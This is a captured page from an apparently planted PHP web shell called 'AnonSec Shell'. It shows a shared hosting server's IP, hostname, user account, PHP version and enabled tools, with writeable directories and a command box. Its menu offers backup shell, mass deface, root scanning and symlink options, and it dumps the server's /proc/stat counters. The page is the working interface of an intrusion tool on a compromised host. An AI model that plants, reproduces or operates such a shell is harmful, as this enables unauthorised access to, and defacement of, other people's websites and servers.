AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.117.73.46   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc//stat
cpu  7033509275 90994482 2083096191 2110263095 675633439 183958426 237327848 718413017 0 0
cpu0 320907604 4140287 94660978 96103454 31268688 6692107 10648362 32234336 0 0
cpu1 321049235 4143230 94724462 96083172 31303162 6601513 10466039 32245865 0 0
cpu2 321666775 4154179 94783762 95571088 31237615 6612446 10385053 32124925 0 0
cpu3 321338968 4160242 94828762 95800084 31281068 6609866 10359209 32166145 0 0
cpu4 322818636 4166753 94572286 95500290 31340900 6605062 9352299 32056683 0 0
cpu5 322908711 4158750 94574581 95475688 31320104 6610416 9322046 32036543 0 0
cpu6 322555130 4156999 94662686 95616509 31378623 6611072 9331234 32075973 0 0
cpu7 322954235 4132322 94540802 95434003 31382157 6632053 9296444 32020655 0 0
cpu8 321704057 4150250 94829378 95551619 31247608 6614967 10300691 32079295 0 0
cpu9 319074971 4165286 94589338 97280633 31944663 6598751 10354649 32709467 0 0
cpu10 312113058 4080306 90260104 96697790 28052080 24234829 8797436 37925073 0 0
cpu11 307605878 4029181 97416099 97738240 29603193 7876792 18151206 35004910 0 0
cpu12 312379634 4048333 97694458 95623638 29675600 8008837 17396610 31385980 0 0
cpu13 321925385 4161177 94810603 95722604 30941339 6604531 10306055 31964233 0 0
cpu14 317533121 4124277 95839828 95800064 30385527 7140985 13077666 32463088 0 0
cpu15 320084088 4158405 95725550 95356687 30565463 7204077 11538331 31460998 0 0
cpu16 321619759 4145735 95001223 95772368 30951519 6744313 10294421 31898562 0 0
cpu17 321952621 4143513 94799863 95743435 30949656 6590636 10288300 31950309 0 0
cpu18 322120182 4137221 94785354 95596070 30936546 6596822 10292465 31952014 0 0
cpu19 321665899 4149605 94912034 95869616 30968868 6586691 10289228 32010944 0 0
cpu20 323261028 4150795 94563010 95602122 31031160 6566472 9277113 31897003 0 0
cpu21 314270290 4137625 90521019 96323910 27867891 23615178 7802977 36750007 0 0
intr 124986879385 210 9 0 0 353 0 0 0 0 0 0 0 210 0 5717090 0 0 0 0 0 0 0 0 0 0 0 0 93020990 123639032 0 1312393120 2611661281 0 2550223436 2530150374 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 148056514408
btime 1733043158
processes 424431706
procs_running 62
procs_blocked 1
softirq 113357612676 1 1892633072 1763 821871535 529227540 0 621196204 2147540071 4757914 4261169472

Anon7 - 2022
AnonSec Team